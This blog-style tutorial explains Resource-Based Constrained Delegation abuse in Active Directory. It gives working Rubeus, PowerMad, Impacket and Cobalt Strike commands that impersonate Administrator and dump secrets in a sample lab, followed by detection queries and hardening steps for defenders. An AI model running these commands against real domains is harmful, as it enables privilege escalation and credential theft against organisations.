Skip to main content

Command Palette

Search for a command to run...

Abusing Resource-Based Constrained Delegation (RBCD) in Active Directory

Updated
11 min readView as Markdown

Active Directory delegation is one of those features that makes complete sense on paper and causes constant headaches in practice. It solves a real problem. It's also misconfigured in almost every environment I've looked at. Resource-Based Constrained Delegation (RBCD) sits at a weird spot in that landscape: it was introduced to make delegation safer than the older model, and it did, technically. But the tradeoff is that it pushed the configuration responsibility down to whoever has write access on a computer object. In a lot of orgs, that's more people than anyone realises.

The result is an attack that requires genuinely low privileges, produces full Administrator access on the target, and leaves surprisingly little noise if you know what you're doing.

This post covers the full chain: what RBCD is, why the Kerberos mechanics behind it work the way they do, how to exploit it, and what defenders can actually do about it.

A Quick Delegation Primer

If you already know what unconstrained and constrained delegation are, skip ahead. If not, here's the 60-second version, because RBCD doesn't make much sense without it.

The problem delegation solves: a user logs into a web app. That web app needs to query a database on the user's behalf. Without delegation, the app uses its own service account to hit the database, and the database has no idea who the original user was. Audit logs become useless; fine-grained access control goes out the window.

Kerberos delegation allows the front-end service to impersonate the user all the way to the back end. Microsoft has shipped three versions of this over the years.

Unconstrained Delegation (Windows Server 2000)
The original, and the most dangerous. Any user who authenticates to a server with unconstrained delegation enabled has their full TGT cached on that server. If you control that server, you collect tickets for every user who connects, including Domain Admins. From a pentesting perspective, the standard move is to coerce DC authentication to the unconstrained host via SpoolSample or PetitPotam, grab the DC's TGT off it, and you've got domain compromise.

Constrained Delegation (Windows Server 2003)
An improvement. The service account can only impersonate users to a specific list of services, defined in msDS-AllowedToDelegateTo. A Domain Admin has to configure it, which at least means you need elevated access to set it up. Still abusable, but the blast radius is smaller.

Resource-Based Constrained Delegation (Windows Server 2012)
This is the one we're here for. RBCD flips the model: instead of the front-end service defining where it can delegate to, the back-end resource defines who is allowed to delegate to it. That attribute lives on the target computer object:

msDS-AllowedToActOnBehalfOfOtherIdentity

Here's where it gets interesting. Configuring classic constrained delegation requires Domain Admin rights. Configuring RBCD only requires write access on the target computer object in Active Directory. GenericWrite, GenericAll, WriteProperty, WriteDACL on a computer object will all do it. That's a much lower bar, and it's one that gets cleared far more often than people expect.

The Attack

How S4U Works

RBCD abuse relies on two Kerberos extensions called S4U2Self and S4U2Proxy. Understanding them is worth two minutes.

S4U2Self lets a service account request a Service Ticket to itself on behalf of any arbitrary user, without that user ever having to authenticate. The ticket it gets back is "forwarded."

S4U2Proxy lets a service account take that forwarded ticket and use it to request a Service Ticket to a different service on behalf of the same user.

Normally, S4U2Proxy has a guard: the forwarded ticket from S4U2Self has to be marked "forwardable." RBCD bypasses that check entirely. When msDS-AllowedToActOnBehalfOfOtherIdentity on the target is populated with your controlled account, the KDC trusts the S4U chain regardless of the forwardable flag.

The result: you can get a Service Ticket to any service on the target, impersonating any user, including Administrator. No password. No prior authentication from that user. Just the right attribute set in the right place.

What You Need

Three things:

  1. Write access on the target computer object. GenericWrite or equivalent. More common than it should be.

  2. A controlled account with an SPN. Machine accounts have SPNs by default. If ms-DS-MachineAccountQuota is above 0 (default is 10), any domain user can create one.

  3. Any valid domain account to authenticate to the KDC.

The write access is the gating requirement. In practice it turns up in a few predictable places: helpdesk accounts with delegated rights to manage workstations, service accounts that got GenericWrite on an OU at some point and nobody noticed, leftovers from a migration where someone granted broad permissions to make things work and then forgot about them.

Walkthrough

Fabricated environment for this demo:

  • Domain: corp.local

  • Domain Controller: DC01.corp.local

  • Target: WEB01.corp.local

  • Compromised account (with write on WEB01): j.smith

  • Fake machine account we'll create: FAKEMACHINE$

Step 1: Confirm Write Access

Before touching anything, verify j.smith actually has write on WEB01. PowerView:

Get-DomainObjectAcl -Identity "WEB01" -ResolveGUIDs | 
    Where-Object { $_.SecurityIdentifier -match "S-1-5-21-...-<j.smith-RID>" } | 
    Select-Object ActiveDirectoryRights, SecurityIdentifier

GenericWrite or GenericAll in the output and you're good to proceed.

Step 2: Create a Fake Machine Account

We need an account with an SPN that we control. PowerMad handles this:

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString 'P@ssw0rd1!' -AsPlainText -Force)

Verify it exists:

Get-ADComputer FAKEMACHINE

Step 3: Get the Hash

Rubeus can calculate the NTLM hash from the plaintext password directly:

.\Rubeus.exe hash /password:P@ssw0rd1! /user:FAKEMACHINE$ /domain:corp.local
[*] Input password         : P@ssw0rd1!
[*] Input username         : FAKEMACHINE$
[*] Input domain           : corp.local
[*] Salt                   : CORP.LOCALhostfakemachine.corp.local
[*]       rc4_hmac         : A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4
[*]       aes256_cts_hmac  : <aes256 hash>

Grab the rc4_hmac value.

Step 4: Write the RBCD Attribute

Tell WEB01 to trust FAKEMACHINE$ for delegation by writing to msDS-AllowedToActOnBehalfOfOtherIdentity.

With the AD module (cleaner):

Set-ADComputer WEB01 -PrincipalsAllowedToDelegateToAccount (Get-ADComputer FAKEMACHINE)

# Verify
Get-ADComputer WEB01 -Properties PrincipalsAllowedToDelegateToAccount

Without the AD module (PowerView):

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(Get-ADComputer FAKEMACHINE | Select-Object -ExpandProperty SID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-ADComputer WEB01 | Set-ADObject -Replace @{"msDS-AllowedToActOnBehalfOfOtherIdentity" = $SDBytes}

Step 5: S4U with Rubeus

Now run the S4U chain. Rubeus does S4U2Self + S4U2Proxy in one shot:

.\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4 /impersonateuser:Administrator /msdsspn:cifs/WEB01.corp.local /ptt

What each flag is doing:

Flag What it does
/user:FAKEMACHINE$ The account doing the delegating
/rc4:... Its NTLM hash
/impersonateuser:Administrator Who we're impersonating
/msdsspn:cifs/WEB01.corp.local The service we want access to
/ptt Inject the ticket into the current session

Success output ends with Ticket successfully imported!.

Step 6: Use It

dir \\WEB01.corp.local\c$

If that returns the directory listing, you have Administrator-level access to WEB01 via SMB. From there: PSExec, secretsdump, whatever the engagement calls for.

If the target was the DC instead:

.\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:... /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt
dir \\DC01.corp.local\c$

The /altservice Trick

One thing worth knowing: the SPN in the ticket isn't signed by the KDC. You can swap it after issuance. That means you can request a CIFS ticket and then reuse it as LDAP if you need DCSync access instead:

.\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:... /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /altservice:ldap /ptt

Works against most services. Handy when CIFS is what you can enumerate but LDAP is what you actually need.

Linux / Impacket

If you're attacking from Linux or going through a SOCKS proxy:

# Add the machine account
impacket-addcomputer corp.local/j.smith:'P@ssword123' -computer-name FAKEMACHINE -computer-pass 'P@ssw0rd1!'

# Write the RBCD attribute
impacket-rbcd -delegate-from 'FAKEMACHINE$' -delegate-to 'WEB01$' -action write corp.local/j.smith:'P@ssword123'

# S4U and get the ticket
impacket-getST corp.local/FAKEMACHINE$:'P@ssw0rd1!' -spn cifs/WEB01.corp.local -impersonate Administrator

# Use it
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass WEB01.corp.local

Cobalt Strike

For an in-beacon workflow:

# Create machine account
beacon> powerpick New-MachineAccount -MachineAccount FAKEMACHINE -Password $(ConvertTo-SecureString 'P@ssw0rd1!' -AsPlainText -Force)

# Set RBCD
beacon> powerpick Set-ADComputer WEB01 -PrincipalsAllowedToDelegateToAccount (Get-ADComputer FAKEMACHINE)

# S4U
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe s4u /user:FAKEMACHINE$ /rc4:A1B2C3D4E5F6A1B2C3D4E5F6A1B2C3D4 /impersonateuser:Administrator /msdsspn:cifs/WEB01.corp.local /nowrap

# createnetonly + steal_token for OPSEC-safe ticket use
beacon> execute-assembly C:\Tools\Rubeus\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CORP /username:Administrator /password:FakePass /ticket:doIFyD[...]
beacon> steal_token <pid>
beacon> ls \\WEB01.corp.local\c$

Attack Flow

j.smith (compromised) has GenericWrite on WEB01$
        |
        v
Create FAKEMACHINE$ (MachineAccountQuota = 10 by default)
        |
        v
Write msDS-AllowedToActOnBehalfOfOtherIdentity on WEB01$
    "WEB01 now trusts FAKEMACHINE$ to delegate to it"
        |
        v
Rubeus S4U2Self  -- get forwarded ST for Administrator to FAKEMACHINE$
        |
        v
Rubeus S4U2Proxy -- use that ST to get cifs/WEB01 as Administrator
        |
        v
Inject ticket -- dir \\WEB01\c$ -- full access

Detection

There are a few places in this chain where defenders have solid visibility.

Event ID 4741 -- computer account created. Alert when non-admin accounts create machine accounts. The account name and creator don't match what you'd expect from provisioning tools or IT processes. Most orgs can count the number of legitimate machine account creations that happen per week on one hand.

Event ID 5136 -- directory service object modified. This one is the most reliable signal. Filter specifically for modifications to msDS-AllowedToActOnBehalfOfOtherIdentity. That attribute has almost no legitimate reason to be touched outside of planned infrastructure changes. A write from a helpdesk account or a user account should be treated as an incident, not a thing to investigate later.

You can also proactively scan for computers that already have this attribute set:

Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | 
    Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null } |
    Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity

If you find computers with this attribute set and you didn't know about it, that's worth investigating.

Event ID 4769 -- Kerberos service ticket requested. S4U2Self requests show up here. The tell is the Transited Services field being populated, and a machine account requesting a ticket to itself. Unusual, but not impossible to miss in a noisy environment without a tuned detection.

Correlate all three: 4741 (new machine account) + 5136 (attribute write) + 4769 (S4U request) + 5140/5145 (SMB access to the target) within the same time window. That sequence is nearly definitive.

KQL for Sentinel:

SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| where SubjectUserName !in ("Administrator", "Domain Admins")
| project TimeGenerated, SubjectUserName, ObjectName, AttributeValue

Hardening

Set MachineAccountQuota to 0.

This removes the easiest part of the attack: creating a throwaway machine account. By default any authenticated domain user can add 10 computers to the domain. Setting the quota to 0 means only accounts with delegated rights can do it.

# Check current value
Get-ADObject -Identity ((Get-ADDomain).DistinguishedName) -Properties ms-DS-MachineAccountQuota | 
    Select-Object ms-DS-MachineAccountQuota

# Set to 0
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota" = 0}

Worth noting: this doesn't kill the attack entirely. An attacker who's already compromised a machine account can use that as the delegating account instead. But it forces them to work harder and makes the attack more visible.

Audit write permissions on computer objects.

Run this and look at what comes back:

Get-DomainComputer | 
    Get-DomainObjectAcl -ResolveGUIDs | 
    Where-Object { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDACL|WriteProperty" } |
    Where-Object { $_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-21-.*-512|S-1-5-21-.*-519" } |
    Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier

Most environments get some surprises here. Helpdesk groups with GenericWrite on Workstations OU, service accounts with rights that made sense when they were granted and nobody has revisited since. These are your attack surface.

Add privileged accounts to Protected Users.

Members of the Protected Users security group cannot be impersonated via Kerberos delegation at all. S4U just fails. For Domain Admins and other Tier 0 accounts this is one of the strongest single controls you can add.

Add-ADGroupMember -Identity "Protected Users" -Members "Administrator","svc-admin","da-user"

Test before you deploy this broadly. Protected Users enforces strict Kerberos settings (no NTLM, no RC4, no credential caching) that will break some legacy services if you're not careful.

Mark sensitive accounts as not delegatable.

Set-ADAccountControl -Identity "j.admin" -AccountNotDelegated $true

Or tick the "Account is sensitive and cannot be delegated" box in ADUC. Same effect.

Implement AD tiering.

If Domain Admin accounts never authenticate to Tier 1 or Tier 2 machines, RBCD compromise of those machines can't be used to impersonate a DA. Tiering is a bigger project than flipping a single setting, but it's the architectural control that makes individual privilege escalation attacks less catastrophic.

Tools

Tool What it's for Link
PowerMad Create fake machine account github.com/Kevin-Robertson/Powermad
PowerView Enumerate ACLs, write RBCD attribute github.com/PowerShellMafia/PowerSploit
Rubeus S4U attack, hash calculation, ticket injection github.com/GhostPack/Rubeus
Impacket Linux-side equivalent (addcomputer, rbcd, getST) github.com/fortra/impacket

Further Reading

  • Elad Shamir, Wagging the Dog: Abusing Resource-Based Constrained Delegation (2019) -- the original research that documented the attack

  • harmj0y, A Case Study in Wagging the Dog -- practical breakdowns of the chain

  • The Hacker Recipes, RBCD -- thehacker.recipes

  • Microsoft Docs, Kerberos Constrained Delegation Overview -- learn.microsoft.com

All techniques covered here are for educational purposes and authorised security testing only.